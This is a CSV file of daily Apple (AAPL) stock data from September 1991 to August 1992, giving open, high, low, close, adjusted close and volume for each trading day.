-1991-09-09,1.8482142686843872,1.9107142686843872,1.8392857313156128,1.9017857313156128,1.5722904205322266,31620400.0,AAPL
-1991-09-10,1.8839285373687744,1.90625,1.7767857313156128,1.7901785373687744,1.4800198078155518,45710000.0,AAPL
-1991-09-11,1.8125,1.8214285373687744,1.7678571939468384,1.8035714626312256,1.491092562675476,44500400.0,AAPL
-1991-09-12,1.8303571939468384,1.8303571939468384,1.7767857313156128,1.8080357313156128,1.49478280544281,29803200.0,AAPL
-1991-09-13,1.7857142686843872,1.7946428060531616,1.7321428060531616,1.7366071939468384,1.4357300996780396,41683600.0,AAPL
-1991-09-16,1.7589285373687744,1.7589285373687744,1.6607142686843872,1.6875,1.395131230354309,51444400.0,AAPL
-1991-09-17,1.6785714626312256,1.75,1.6696428060531616,1.75,1.4468027353286743,33852000.0,AAPL
-1991-09-18,1.7410714626312256,1.8035714626312256,1.7321428060531616,1.7901785373687744,1.4800198078155518,30338000.0,AAPL
-1991-09-19,1.7946428060531616,1.8035714626312256,1.7678571939468384,1.7767857313156128,1.468947172164917,44584400.0,AAPL
-1991-09-20,1.7767857313156128,1.8214285373687744,1.7678571939468384,1.8080357313156128,1.49478280544281,47037200.0,AAPL
-1991-09-23,1.7857142686843872,1.8125,1.7589285373687744,1.7678571939468384,1.4615658521652222,21915600.0,AAPL
-1991-09-24,1.7678571939468384,1.7991071939468384,1.7232142686843872,1.7946428060531616,1.4837111234664917,26524400.0,AAPL
-1991-09-25,1.7946428060531616,1.8035714626312256,1.7589285373687744,1.8035714626312256,1.491092562675476,13616400.0,AAPL
-1991-09-26,1.7946428060531616,1.7946428060531616,1.75,1.7857142686843872,1.4763293266296387,17805200.0,AAPL
-1991-09-27,1.7857142686843872,1.8125,1.7410714626312256,1.75,1.4468027353286743,15702400.0,AAPL
-1991-09-30,1.7589285373687744,1.7767857313156128,1.75,1.7678571939468384,1.4615658521652222,15800400.0,AAPL
-1991-10-01,1.7589285373687744,1.8303571939468384,1.75,1.8125,1.49847412109375,32844000.0,AAPL
-1991-10-02,1.8482142686843872,1.8482142686843872,1.7678571939468384,1.7767857313156128,1.468947172164917,4496800.0,AAPL
-1991-10-03,1.7857142686843872,1.7857142686843872,1.6964285373687744,1.7053571939468384,1.4098941087722778,45250800.0,AAPL
-1991-10-04,1.7142857313156128,1.7410714626312256,1.6964285373687744,1.7232142686843872,1.4246578216552734,19843600.0,AAPL
-1991-10-07,1.7142857313156128,1.7410714626312256,1.6964285373687744,1.71875,1.4209668636322021,16175600.0,AAPL
-1991-10-08,1.71875,1.7321428060531616,1.6607142686843872,1.7232142686843872,1.4246578216552734,43064000.0,AAPL
-1991-10-09,1.7232142686843872,1.7410714626312256,1.7053571939468384,1.7142857313156128,1.4172760248184204,33185600.0,AAPL
-1991-10-10,1.7410714626312256,1.75,1.6696428060531616,1.7053571939468384,1.4098941087722778,39303600.0,AAPL
-1991-10-11,1.71875,1.7455357313156128,1.6607142686843872,1.7321428060531616,1.4320387840270996,30013200.0,AAPL
-1991-10-14,1.75,1.7946428060531616,1.7410714626312256,1.78125,1.4726382493972778,27969200.0,AAPL
-1991-10-15,1.8035714626312256,1.875,1.7857142686843872,1.875,1.5501453876495361,72052400.0,AAPL
-1991-10-16,1.875,1.9285714626312256,1.8660714626312256,1.9107142686843872,1.5796717405319214,50218000.0,AAPL
-1991-10-17,1.8928571939468384,1.9017857313156128,1.8392857313156128,1.8705357313156128,1.5464547872543335,37903600.0,AAPL
-1991-10-18,1.96875,1.9821428060531616,1.9464285373687744,1.9642857313156128,1.6239619255065918,111739600.0,AAPL
-1991-10-21,1.9732142686843872,1.9955357313156128,1.9375,1.9553571939468384,1.6165803670883179,29173200.0,AAPL
-1991-10-22,1.9821428060531616,2.0089285373687744,1.9464285373687744,1.9464285373687744,1.6091985702514648,52052000.0,AAPL
-1991-10-23,1.9642857313156128,1.9732142686843872,1.8839285373687744,1.8973214626312256,1.568599820137024,42207200.0,AAPL
-1991-10-24,1.8928571939468384,1.9017857313156128,1.8392857313156128,1.8616071939468384,1.53907310962677,44475200.0,AAPL
-1991-10-25,1.8482142686843872,1.8660714626312256,1.8125,1.8303571939468384,1.5132372379302979,26742800.0,AAPL
-1991-10-28,1.8392857313156128,1.8482142686843872,1.8125,1.8392857313156128,1.5206190347671509,19465600.0,AAPL
-1991-10-29,1.8392857313156128,1.8571428060531616,1.8125,1.8482142686843872,1.5280005931854248,25309200.0,AAPL
-1991-10-30,1.8571428060531616,1.8839285373687744,1.7678571939468384,1.7767857313156128,1.468947172164917,37060800.0,AAPL
-1991-10-31,1.8125,1.8482142686843872,1.7857142686843872,1.8392857313156128,1.5206190347671509,57951600.0,AAPL
-1991-11-01,1.8303571939468384,1.8571428060531616,1.8035714626312256,1.8214285373687744,1.505855679512024,50316000.0,AAPL
-1991-11-04,1.8125,1.8125,1.7321428060531616,1.7767857313156128,1.468947172164917,48823600.0,AAPL
-1991-11-05,1.7767857313156128,1.8035714626312256,1.7410714626312256,1.7410714626312256,1.4394208192825317,53900000.0,AAPL
-1991-11-06,1.75,1.7589285373687744,1.6964285373687744,1.7142857313156128,1.4172760248184204,59197600.0,AAPL
-1991-11-07,1.7321428060531616,1.8035714626312256,1.7232142686843872,1.7767857313156128,1.468947172164917,74183200.0,AAPL
-1991-11-08,1.8303571939468384,1.9196428060531616,1.8214285373687744,1.9017857313156128,1.5722904205322266,93956800.0,AAPL
-1991-11-11,1.9107142686843872,1.9464285373687744,1.9017857313156128,1.9196428060531616,1.5870540142059326,41235600.0,AAPL
-1991-11-12,1.9375,1.9553571939468384,1.9196428060531616,1.9464285373687744,1.6091985702514648,41672400.0,AAPL
-1991-11-13,1.9285714626312256,1.9464285373687744,1.9107142686843872,1.9330357313156128,1.5981261730194092,46480000.0,AAPL
-1991-11-14,1.9375,1.9732142686843872,1.9285714626312256,1.9553571939468384,1.6165803670883179,47000800.0,AAPL
-1991-11-15,1.9464285373687744,1.9553571939468384,1.7767857313156128,1.7857142686843872,1.4763293266296387,64237600.0,AAPL
-1991-11-18,1.7857142686843872,1.875,1.7857142686843872,1.8616071939468384,1.542779564857483,59684800.0,AAPL
-1991-11-19,1.8482142686843872,1.8482142686843872,1.7767857313156128,1.8303571939468384,1.5168814659118652,71372000.0,AAPL
-1991-11-20,1.8303571939468384,1.8571428060531616,1.7946428060531616,1.8035714626312256,1.4946832656860352,42025200.0,AAPL
-1991-11-21,1.8035714626312256,1.8482142686843872,1.8035714626312256,1.8214285373687744,1.5094820261001587,26703600.0,AAPL
-1991-11-22,1.8214285373687744,1.8482142686843872,1.7946428060531616,1.8303571939468384,1.5168814659118652,24460800.0,AAPL
-1991-11-25,1.8214285373687744,1.8660714626312256,1.8214285373687744,1.8303571939468384,1.5168814659118652,19608400.0,AAPL
-1991-11-26,1.8392857313156128,1.8571428060531616,1.7857142686843872,1.8392857313156128,1.5242809057235718,34818000.0,AAPL
-1991-11-27,1.8303571939468384,1.8392857313156128,1.8035714626312256,1.8214285373687744,1.5094820261001587,15808800.0,AAPL
-1991-11-29,1.8035714626312256,1.8392857313156128,1.8035714626312256,1.8125,1.5020828247070312,8523200.0,AAPL
-1991-12-02,1.8125,1.8571428060531616,1.7857142686843872,1.8482142686843872,1.5316801071166992,29724800.0,AAPL
-1991-12-03,1.8571428060531616,1.8571428060531616,1.7946428060531616,1.8035714626312256,1.4946832656860352,25715200.0,AAPL
-1991-12-04,1.8125,1.8125,1.7857142686843872,1.8035714626312256,1.4946832656860352,20137600.0,AAPL
-1991-12-05,1.8035714626312256,1.8214285373687744,1.7589285373687744,1.7857142686843872,1.4798845052719116,24799600.0,AAPL
-1991-12-06,1.7678571939468384,1.7767857313156128,1.7321428060531616,1.7410714626312256,1.4428870677947998,49246400.0,AAPL
-1991-12-09,1.75,1.7857142686843872,1.7410714626312256,1.7544642686843872,1.4539865255355835,24458000.0,AAPL
-1991-12-10,1.75,1.7678571939468384,1.7321428060531616,1.7544642686843872,1.4539865255355835,30654400.0,AAPL
-1991-12-11,1.7589285373687744,1.7767857313156128,1.7321428060531616,1.75,1.4502867460250854,21140000.0,AAPL
-1991-12-12,1.7633928060531616,1.7767857313156128,1.75,1.7633928060531616,1.461385726928711,22937600.0,AAPL
-1991-12-13,1.7767857313156128,1.8125,1.7767857313156128,1.7991071939468384,1.490983486175537,23780400.0,AAPL
-1991-12-16,1.7991071939468384,1.8125,1.7857142686843872,1.8035714626312256,1.4946832656860352,19297600.0,AAPL
-1991-12-17,1.8035714626312256,1.8214285373687744,1.7946428060531616,1.8035714626312256,1.4946832656860352,24460800.0,AAPL
-1991-12-18,1.7946428060531616,1.8571428060531616,1.7857142686843872,1.8482142686843872,1.5316801071166992,46650800.0,AAPL
-1991-12-19,1.8303571939468384,1.8482142686843872,1.8125,1.8125,1.5020828247070312,28831600.0,AAPL
-1991-12-20,1.8303571939468384,1.8392857313156128,1.7946428060531616,1.7946428060531616,1.4872839450836182,32046000.0,AAPL
-1991-12-23,1.8035714626312256,1.8482142686843872,1.7857142686843872,1.8392857313156128,1.5242809057235718,25790800.0,AAPL
-1991-12-24,1.8571428060531616,1.9196428060531616,1.8482142686843872,1.8660714626312256,1.5464792251586914,47140800.0,AAPL
-1991-12-26,1.8839285373687744,1.9642857313156128,1.8660714626312256,1.9598214626312256,1.6241730451583862,33625200.0,AAPL
-1991-12-27,1.9553571939468384,1.9910714626312256,1.9464285373687744,1.9642857313156128,1.6278729438781738,41935600.0,AAPL
-1991-12-30,1.9642857313156128,2.044642925262451,1.9642857313156128,2.0267856121063232,1.6796685457229614,45911600.0,AAPL
-1991-12-31,2.049107074737549,2.0714285373687744,2.0,2.013392925262451,1.6685699224472046,33507600.0,AAPL
-1992-01-02,1.9910714626312256,2.1339285373687744,1.9821428060531616,2.125,1.7610623836517334,58408000.0,AAPL
-1992-01-03,2.142857074737549,2.1517856121063232,2.080357074737549,2.107142925262451,1.7462633848190308,47563600.0,AAPL
-1992-01-06,2.0982143878936768,2.107142925262451,2.0625,2.0714285373687744,1.7166659832000732,28560000.0,AAPL
-1992-01-07,2.0535714626312256,2.125,2.0535714626312256,2.111607074737549,1.7499632835388184,35366800.0,AAPL
-1992-01-08,2.0892856121063232,2.1875,2.0892856121063232,2.1607143878936768,1.7906602621078491,58186800.0,AAPL
-1992-01-09,2.1607143878936768,2.2232143878936768,2.1517856121063232,2.2232143878936768,1.8424561023712158,52127600.0,AAPL
-1992-01-10,2.1964285373687744,2.232142925262451,2.1785714626312256,2.2232143878936768,1.8424561023712158,49056000.0,AAPL
-1992-01-13,2.2232143878936768,2.2410714626312256,2.1964285373687744,2.2142856121063232,1.8350566625595093,26964000.0,AAPL
-1992-01-14,2.2232143878936768,2.3125,2.2232143878936768,2.3035714626312256,1.9090509414672852,68451600.0,AAPL
-1992-01-15,2.3035714626312256,2.3214285373687744,2.25,2.267857074737549,1.8794525861740112,81435200.0,AAPL
-1992-01-16,2.2767856121063232,2.294642925262451,2.232142925262451,2.2410714626312256,1.8572543859481812,73382400.0,AAPL
-1992-01-17,2.419642925262451,2.4642856121063232,2.3125,2.3125,1.9164502620697021,212088800.0,AAPL
-1992-01-20,2.3035714626312256,2.330357074737549,2.2857143878936768,2.2857143878936768,1.8942525386810303,52416000.0,AAPL
-1992-01-21,2.294642925262451,2.294642925262451,2.1785714626312256,2.1830356121063232,1.809158444404602,48521200.0,AAPL
-1992-01-22,2.1964285373687744,2.2767856121063232,2.1875,2.267857074737549,1.8794525861740112,45920000.0,AAPL
-1992-01-23,2.294642925262451,2.3125,2.25,2.3035714626312256,1.9090509414672852,34588400.0,AAPL
-1992-01-24,2.3035714626312256,2.3482143878936768,2.2857143878936768,2.3080356121063232,1.912750244140625,44402400.0,AAPL
-1992-01-27,2.3125,2.330357074737549,2.294642925262451,2.3035714626312256,1.9090509414672852,20862800.0,AAPL
-1992-01-28,2.3125,2.3348214626312256,2.25,2.330357074737549,1.9312493801116943,43430800.0,AAPL
-1992-01-29,2.3125,2.3482143878936768,2.2589285373687744,2.2589285373687744,1.872053861618042,36139600.0,AAPL
-1992-01-30,2.267857074737549,2.2767856121063232,2.2410714626312256,2.2767856121063232,1.8868526220321655,21778400.0,AAPL
-1992-01-31,2.2857143878936768,2.330357074737549,2.267857074737549,2.3125,1.9164502620697021,36139600.0,AAPL
-1992-02-03,2.3125,2.3660714626312256,2.3035714626312256,2.3482143878936768,1.9460479021072388,39533200.0,AAPL
-1992-02-04,2.3482143878936768,2.3660714626312256,2.3214285373687744,2.3482143878936768,1.9460479021072388,48232800.0,AAPL
-1992-02-05,2.3660714626312256,2.3839285373687744,2.325892925262451,2.361607074737549,1.9571471214294434,40376000.0,AAPL
-1992-02-06,2.3482143878936768,2.357142925262451,2.2857143878936768,2.2901785373687744,1.897951364517212,23284800.0,AAPL
-1992-02-07,2.294642925262451,2.3125,2.2410714626312256,2.2857143878936768,1.8942525386810303,36884400.0,AAPL
-1992-02-10,2.2857143878936768,2.294642925262451,2.25,2.2544643878936768,1.8683542013168335,21610400.0,AAPL
-1992-02-11,2.25,2.2767856121063232,2.2232143878936768,2.2455356121063232,1.8609545230865479,30503200.0,AAPL
-1992-02-12,2.2767856121063232,2.3392856121063232,2.25,2.330357074737549,1.9312493801116943,34490400.0,AAPL
-1992-02-13,2.330357074737549,2.330357074737549,2.2767856121063232,2.294642925262451,1.9016509056091309,19003600.0,AAPL
-1992-02-14,2.2767856121063232,2.294642925262451,2.2589285373687744,2.2901785373687744,1.9015065431594849,18146800.0,AAPL
-1992-02-18,2.294642925262451,2.3035714626312256,2.2410714626312256,2.2410714626312256,1.860733151435852,17088400.0,AAPL
-1992-02-19,2.2410714626312256,2.25,2.205357074737549,2.2142856121063232,1.8384937047958374,23917600.0,AAPL
-1992-02-20,2.232142925262451,2.3125,2.2232143878936768,2.3080356121063232,1.9163333177566528,32715200.0,AAPL
-1992-02-21,2.3125,2.3392856121063232,2.3035714626312256,2.3214285373687744,1.9274526834487915,37895200.0,AAPL
-1992-02-24,2.3660714626312256,2.375,2.3482143878936768,2.361607074737549,1.9608128070831299,42851200.0,AAPL
-1992-02-25,2.3660714626312256,2.4464285373687744,2.330357074737549,2.4464285373687744,2.0312387943267822,56803600.0,AAPL
-1992-02-26,2.4375,2.5,2.4375,2.4955356121063232,2.072012424468994,57271200.0,AAPL
-1992-02-27,2.5,2.5,2.4285714626312256,2.4464285373687744,2.0312387943267822,30542400.0,AAPL
-1992-02-28,2.4464285373687744,2.4642856121063232,2.392857074737549,2.4107143878936768,2.001586437225342,22598800.0,AAPL
-1992-03-02,2.419642925262451,2.4464285373687744,2.4017856121063232,2.4017856121063232,1.9941731691360474,22313200.0,AAPL
-1992-03-03,2.419642925262451,2.4285714626312256,2.3660714626312256,2.3705356121063232,1.9682258367538452,24819200.0,AAPL
-1992-03-04,2.3660714626312256,2.3839285373687744,2.3125,2.3214285373687744,1.9274526834487915,28842800.0,AAPL
-1992-03-05,2.3035714626312256,2.3392856121063232,2.25,2.267857074737549,1.882973074913025,59180800.0,AAPL
-1992-03-06,2.267857074737549,2.2857143878936768,2.25,2.2857143878936768,1.8978006839752197,33572000.0,AAPL
-1992-03-09,2.2767856121063232,2.294642925262451,2.267857074737549,2.2767856121063232,1.890386939048767,27235600.0,AAPL
-1992-03-10,2.2857143878936768,2.3125,2.2767856121063232,2.2767856121063232,1.890386939048767,30674000.0,AAPL
-1992-03-11,2.2767856121063232,2.294642925262451,2.25,2.2589285373687744,1.8755602836608887,32914000.0,AAPL
-1992-03-12,2.2589285373687744,2.2767856121063232,2.1964285373687744,2.2410714626312256,1.860733151435852,38225600.0,AAPL
-1992-03-13,2.2589285373687744,2.2767856121063232,2.2142856121063232,2.2544643878936768,1.8718537092208862,19796000.0,AAPL
-1992-03-16,2.2410714626312256,2.267857074737549,2.205357074737549,2.263392925262451,1.879266619682312,14072800.0,AAPL
-1992-03-17,2.267857074737549,2.2767856121063232,2.2410714626312256,2.2455356121063232,1.8644403219223022,21274400.0,AAPL
-1992-03-18,2.2589285373687744,2.2857143878936768,2.25,2.2767856121063232,1.890386939048767,20258000.0,AAPL
-1992-03-19,2.2767856121063232,2.2767856121063232,2.2410714626312256,2.25,1.8681470155715942,29629600.0,AAPL
-1992-03-20,2.25,2.2589285373687744,2.25,2.2589285373687744,1.8755602836608887,13540800.0,AAPL
-1992-03-23,2.25,2.2767856121063232,2.25,2.25,1.8681470155715942,12518800.0,AAPL
-1992-03-24,2.267857074737549,2.3214285373687744,2.2589285373687744,2.3214285373687744,1.9274526834487915,52354400.0,AAPL
-1992-03-25,2.3214285373687744,2.3214285373687744,2.294642925262451,2.3035714626312256,1.91262686252594,30388400.0,AAPL
-1992-03-26,2.3125,2.330357074737549,2.2767856121063232,2.2857143878936768,1.8978006839752197,30755200.0,AAPL
-1992-03-27,2.28125,2.2857143878936768,2.1607143878936768,2.1785714626312256,1.8088403940200806,66133200.0,AAPL
-1992-03-30,2.1875,2.1875,2.0625,2.075892925262451,1.7235878705978394,84758800.0,AAPL
-1992-03-31,2.080357074737549,2.1339285373687744,2.0714285373687744,2.080357074737549,1.727294683456421,53158000.0,AAPL
-1992-04-01,2.044642925262451,2.1160714626312256,2.044642925262451,2.107142925262451,1.7495344877243042,39914000.0,AAPL
-1992-04-02,2.107142925262451,2.125,2.0848214626312256,2.0982143878936768,1.7421207427978516,33493600.0,AAPL
-1992-04-03,2.0982143878936768,2.1160714626312256,2.0892856121063232,2.107142925262451,1.7495344877243042,29114400.0,AAPL
-1992-04-06,2.107142925262451,2.1785714626312256,2.107142925262451,2.169642925262451,1.8014273643493652,25496800.0,AAPL
-1992-04-07,2.1785714626312256,2.1875,2.044642925262451,2.044642925262451,1.6976416110992432,57554000.0,AAPL
-1992-04-08,2.0357143878936768,2.0357143878936768,1.9553571939468384,1.9955357313156128,1.6568683385849,91756000.0,AAPL
-1992-04-09,2.0,2.080357074737549,1.9732142686843872,2.044642925262451,1.6976416110992432,48034000.0,AAPL
-1992-04-10,2.044642925262451,2.0535714626312256,1.9642857313156128,1.9821428060531616,1.6457486152648926,68516000.0,AAPL
-1992-04-13,1.9821428060531616,2.0267856121063232,1.9732142686843872,2.017857074737549,1.6754015684127808,30707600.0,AAPL
-1992-04-14,2.0625,2.1160714626312256,2.044642925262451,2.0982143878936768,1.7421207427978516,36100400.0,AAPL
-1992-04-15,2.0714285373687744,2.174107074737549,2.0535714626312256,2.1607143878936768,1.7940144538879395,54339600.0,AAPL
-1992-04-16,2.1517856121063232,2.169642925262451,2.0892856121063232,2.107142925262451,1.7495344877243042,64671600.0,AAPL
-1992-04-20,2.107142925262451,2.107142925262451,2.0,2.0267856121063232,1.6828148365020752,51511600.0,AAPL
-1992-04-21,2.0357143878936768,2.044642925262451,2.0,2.0089285373687744,1.6679884195327759,45091200.0,AAPL
-1992-04-22,2.0089285373687744,2.0714285373687744,2.0089285373687744,2.0580356121063232,1.7087615728378296,42882000.0,AAPL
-1992-04-23,2.0535714626312256,2.080357074737549,2.0,2.0357143878936768,1.6902281045913696,45704400.0,AAPL
-1992-04-24,2.0357143878936768,2.080357074737549,2.0,2.017857074737549,1.6754015684127808,24570000.0,AAPL
-1992-04-27,2.0,2.0089285373687744,1.9642857313156128,1.9910714626312256,1.653161883354187,35067200.0,AAPL
-1992-04-28,1.9732142686843872,1.9910714626312256,1.8928571939468384,1.9375,1.6086822748184204,43531600.0,AAPL
-1992-04-29,1.9375,2.0357143878936768,1.9375,2.0357143878936768,1.6902281045913696,49725200.0,AAPL
-1992-04-30,2.044642925262451,2.1517856121063232,2.017857074737549,2.1473214626312256,1.7828940153121948,65066400.0,AAPL
-1992-05-01,2.142857074737549,2.169642925262451,2.080357074737549,2.1160714626312256,1.75694739818573,33594400.0,AAPL
-1992-05-04,2.125,2.1875,2.1160714626312256,2.1607143878936768,1.7940144538879395,30808400.0,AAPL
-1992-05-05,2.1607143878936768,2.1651785373687744,2.125,2.1607143878936768,1.7940144538879395,45021200.0,AAPL
-1992-05-06,2.169642925262451,2.21875,2.1607143878936768,2.205357074737549,1.8310803174972534,44497600.0,AAPL
-1992-05-07,2.1964285373687744,2.2232143878936768,2.1607143878936768,2.169642925262451,1.8014273643493652,43089200.0,AAPL
-1992-05-08,2.1964285373687744,2.2455356121063232,2.1785714626312256,2.2142856121063232,1.8384937047958374,49674800.0,AAPL
-1992-05-11,2.2142856121063232,2.2410714626312256,2.1964285373687744,2.2232143878936768,1.8459067344665527,22724800.0,AAPL
-1992-05-12,2.2232143878936768,2.25,2.205357074737549,2.2232143878936768,1.8459067344665527,19261200.0,AAPL
-1992-05-13,2.232142925262451,2.2589285373687744,2.2232143878936768,2.2410714626312256,1.860733151435852,24368400.0,AAPL
-1992-05-14,2.2410714626312256,2.25,2.1517856121063232,2.1919643878936768,1.8199609518051147,39230800.0,AAPL
-1992-05-15,2.1785714626312256,2.1875,2.1607143878936768,2.1651785373687744,1.7977203130722046,30326800.0,AAPL
-1992-05-18,2.1964285373687744,2.1964285373687744,2.142857074737549,2.15625,1.7903079986572266,32272800.0,AAPL
-1992-05-19,2.169642925262451,2.169642925262451,2.107142925262451,2.1205356121063232,1.760654091835022,32919600.0,AAPL
-1992-05-20,2.1339285373687744,2.1517856121063232,2.1160714626312256,2.142857074737549,1.779187560081482,43302000.0,AAPL
-1992-05-21,2.1517856121063232,2.1517856121063232,2.0982143878936768,2.111607074737549,1.7532413005828857,34423200.0,AAPL
-1992-05-22,2.107142925262451,2.1339285373687744,2.107142925262451,2.125,1.7643613815307617,11617200.0,AAPL
-1992-05-26,2.125,2.1339285373687744,2.0982143878936768,2.1160714626312256,1.75694739818573,23903600.0,AAPL
-1992-05-27,2.1160714626312256,2.1517856121063232,2.107142925262451,2.1517856121063232,1.7866007089614868,38522400.0,AAPL
-1992-05-28,2.142857074737549,2.1517856121063232,2.107142925262451,2.125,1.7643613815307617,31810800.0,AAPL
-1992-05-29,2.1339285373687744,2.1651785373687744,2.125,2.1339285373687744,1.771774411201477,44562000.0,AAPL
-1992-06-01,2.044642925262451,2.125,2.0,2.0535714626312256,1.7084894180297852,62011600.0,AAPL
-1992-06-02,2.0535714626312256,2.0535714626312256,2.0089285373687744,2.017857074737549,1.678776741027832,38920000.0,AAPL
-1992-06-03,2.017857074737549,2.017857074737549,1.9285714626312256,1.9330357313156128,1.608208417892456,75143600.0,AAPL
-1992-06-04,1.9375,1.9553571939468384,1.9107142686843872,1.9464285373687744,1.6193506717681885,45038000.0,AAPL
-1992-06-05,1.9553571939468384,1.9732142686843872,1.9375,1.9598214626312256,1.6304931640625,28182000.0,AAPL
-1992-06-08,1.9642857313156128,1.9642857313156128,1.9285714626312256,1.9375,1.6119229793548584,26084800.0,AAPL
-1992-06-09,1.9375,1.9375,1.9107142686843872,1.9285714626312256,1.6044944524765015,25320400.0,AAPL
-1992-06-10,1.9285714626312256,1.9553571939468384,1.9107142686843872,1.9196428060531616,1.5970665216445923,31651200.0,AAPL
-1992-06-11,1.9196428060531616,1.9375,1.9107142686843872,1.9241071939468384,1.6007802486419678,35128800.0,AAPL
-1992-06-12,1.9464285373687744,1.9642857313156128,1.9375,1.9508928060531616,1.623064637184143,24127600.0,AAPL
-1992-06-15,1.9285714626312256,1.9285714626312256,1.875,1.8794642686843872,1.563639521598816,47297600.0,AAPL
-1992-06-16,1.8482142686843872,1.8571428060531616,1.7410714626312256,1.7589285373687744,1.4633580446243286,91338800.0,AAPL
-1992-06-17,1.75,1.7589285373687744,1.6785714626312256,1.6964285373687744,1.4113609790802002,76062000.0,AAPL
-1992-06-18,1.6964285373687744,1.75,1.5982142686843872,1.6160714626312256,1.344506859779358,108430000.0,AAPL
-1992-06-19,1.6428571939468384,1.6428571939468384,1.5625,1.5982142686843872,1.3296505212783813,106859200.0,AAPL
-1992-06-22,1.5714285373687744,1.5982142686843872,1.5267857313156128,1.5803571939468384,1.3147938251495361,97484800.0,AAPL
-1992-06-23,1.6071428060531616,1.625,1.5892857313156128,1.6160714626312256,1.344506859779358,77887600.0,AAPL
-1992-06-24,1.625,1.6428571939468384,1.6160714626312256,1.6428571939468384,1.3667917251586914,52766000.0,AAPL
-1992-06-25,1.6607142686843872,1.6607142686843872,1.6160714626312256,1.6294642686843872,1.3556489944458008,40152000.0,AAPL
-1992-06-26,1.6339285373687744,1.6428571939468384,1.5892857313156128,1.6160714626312256,1.344506859779358,27591200.0,AAPL
-1992-06-29,1.6339285373687744,1.6830357313156128,1.6160714626312256,1.6696428060531616,1.3890758752822876,47107200.0,AAPL
-1992-06-30,1.6696428060531616,1.7232142686843872,1.6607142686843872,1.7142857313156128,1.4262171983718872,48336400.0,AAPL
-1992-07-01,1.7142857313156128,1.7678571939468384,1.7053571939468384,1.75,1.455930233001709,35882000.0,AAPL
-1992-07-02,1.75,1.75,1.6339285373687744,1.6517857313156128,1.3742197751998901,64162000.0,AAPL
-1992-07-06,1.6607142686843872,1.6696428060531616,1.625,1.6517857313156128,1.3742197751998901,30500400.0,AAPL
-1992-07-07,1.6517857313156128,1.6517857313156128,1.5535714626312256,1.5803571939468384,1.3147938251495361,51772000.0,AAPL
-1992-07-08,1.5714285373687744,1.6339285373687744,1.5714285373687744,1.6339285373687744,1.3593634366989136,48988800.0,AAPL
-1992-07-09,1.6428571939468384,1.6607142686843872,1.6339285373687744,1.6383928060531616,1.3630774021148682,41448400.0,AAPL
-1992-07-10,1.6428571939468384,1.6517857313156128,1.6026785373687744,1.6339285373687744,1.3593634366989136,35949200.0,AAPL
-1992-07-13,1.6339285373687744,1.6830357313156128,1.6160714626312256,1.6785714626312256,1.3965046405792236,31390800.0,AAPL
-1992-07-14,1.6785714626312256,1.7142857313156128,1.6785714626312256,1.6964285373687744,1.4113609790802002,31497200.0,AAPL
-1992-07-15,1.6964285373687744,1.75,1.6875,1.7142857313156128,1.4262171983718872,43615600.0,AAPL
-1992-07-16,1.7053571939468384,1.75,1.6875,1.7410714626312256,1.4485019445419312,34949600.0,AAPL
-1992-07-17,1.6071428060531616,1.6428571939468384,1.59375,1.6071428060531616,1.3370786905288696,105910000.0,AAPL
-1992-07-20,1.5982142686843872,1.6160714626312256,1.5714285373687744,1.5982142686843872,1.3296505212783813,48031200.0,AAPL
-1992-07-21,1.625,1.6517857313156128,1.6071428060531616,1.6339285373687744,1.3593634366989136,32986800.0,AAPL
-1992-07-22,1.6160714626312256,1.625,1.5714285373687744,1.5803571939468384,1.3147938251495361,40493600.0,AAPL
-1992-07-23,1.5892857313156128,1.5982142686843872,1.5625,1.5982142686843872,1.3296505212783813,42879200.0,AAPL
-1992-07-24,1.5892857313156128,1.6517857313156128,1.5714285373687744,1.6383928060531616,1.3630774021148682,33742800.0,AAPL
-1992-07-27,1.6339285373687744,1.6607142686843872,1.6160714626312256,1.6160714626312256,1.344506859779358,599200.0,AAPL
-1992-07-28,1.625,1.6607142686843872,1.6160714626312256,1.6607142686843872,1.3816478252410889,33560800.0,AAPL
-1992-07-29,1.6651785373687744,1.7053571939468384,1.6607142686843872,1.6875,1.403932809829712,62692000.0,AAPL
-1992-07-30,1.6875,1.6964285373687744,1.6696428060531616,1.6875,1.403932809829712,34473600.0,AAPL
-1992-07-31,1.6875,1.6964285373687744,1.6696428060531616,1.6696428060531616,1.3890758752822876,22677200.0,AAPL
-1992-08-03,1.6696428060531616,1.6875,1.625,1.6339285373687744,1.3593634366989136,17136000.0,AAPL
-1992-08-04,1.6071428060531616,1.6339285373687744,1.5982142686843872,1.625,1.3519351482391357,29929200.0,AAPL
-1992-08-05,1.625,1.625,1.5892857313156128,1.5982142686843872,1.3296505212783813,34815200.0,AAPL
-1992-08-06,1.5803571939468384,1.5892857313156128,1.5267857313156128,1.5714285373687744,1.3073654174804688,64492400.0,AAPL
-1992-08-07,1.5,1.5625,1.4821428060531616,1.5491071939468384,1.2887952327728271,54790400.0,AAPL
-1992-08-10,1.5446428060531616,1.5892857313156128,1.5357142686843872,1.5758928060531616,1.3110800981521606,22862000.0,AAPL
-1992-08-11,1.5892857313156128,1.5892857313156128,1.5357142686843872,1.5535714626312256,1.2925095558166504,30326800.0,AAPL
-1992-08-12,1.5625,1.5803571939468384,1.5446428060531616,1.5758928060531616,1.3110800981521606,30346400.0,AAPL
-1992-08-13,1.5892857313156128,1.625,1.5803571939468384,1.5982142686843872,1.3296505212783813,42747600.0,AAPL
-1992-08-14,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.3296505212783813,34025600.0,AAPL
-1992-08-17,1.5803571939468384,1.5982142686843872,1.5625,1.5982142686843872,1.333229660987854,32177600.0,AAPL
-1992-08-18,1.5892857313156128,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.333229660987854,28078400.0,AAPL
-1992-08-19,1.59375,1.6160714626312256,1.5892857313156128,1.5892857313156128,1.325780987739563,42635600.0,AAPL
-1992-08-20,1.5982142686843872,1.6071428060531616,1.5803571939468384,1.5982142686843872,1.333229660987854,27227200.0,AAPL
-1992-08-21,1.5982142686843872,1.6160714626312256,1.5714285373687744,1.59375,1.329505205154419,27367200.0,AAPL
-1992-08-24,1.5803571939468384,1.5982142686843872,1.5446428060531616,1.5446428060531616,1.2885403633117676,38043600.0,AAPL
-1992-08-25,1.5446428060531616,1.5892857313156128,1.5446428060531616,1.5848214626312256,1.3220571279525757,33090400.0,AAPL
-1992-08-26,1.5803571939468384,1.5892857313156128,1.5446428060531616,1.5803571939468384,1.3183326721191406,30265200.0,AAPL
-1992-08-27,1.5982142686843872,1.6116071939468384,1.5803571939468384,1.5892857313156128,1.325780987739563,20686400.0,AAPL
-1992-08-28,1.5803571939468384,1.6160714626312256,1.5714285373687744,1.6071428060531616,1.3406776189804077,15310400.0,AAPL
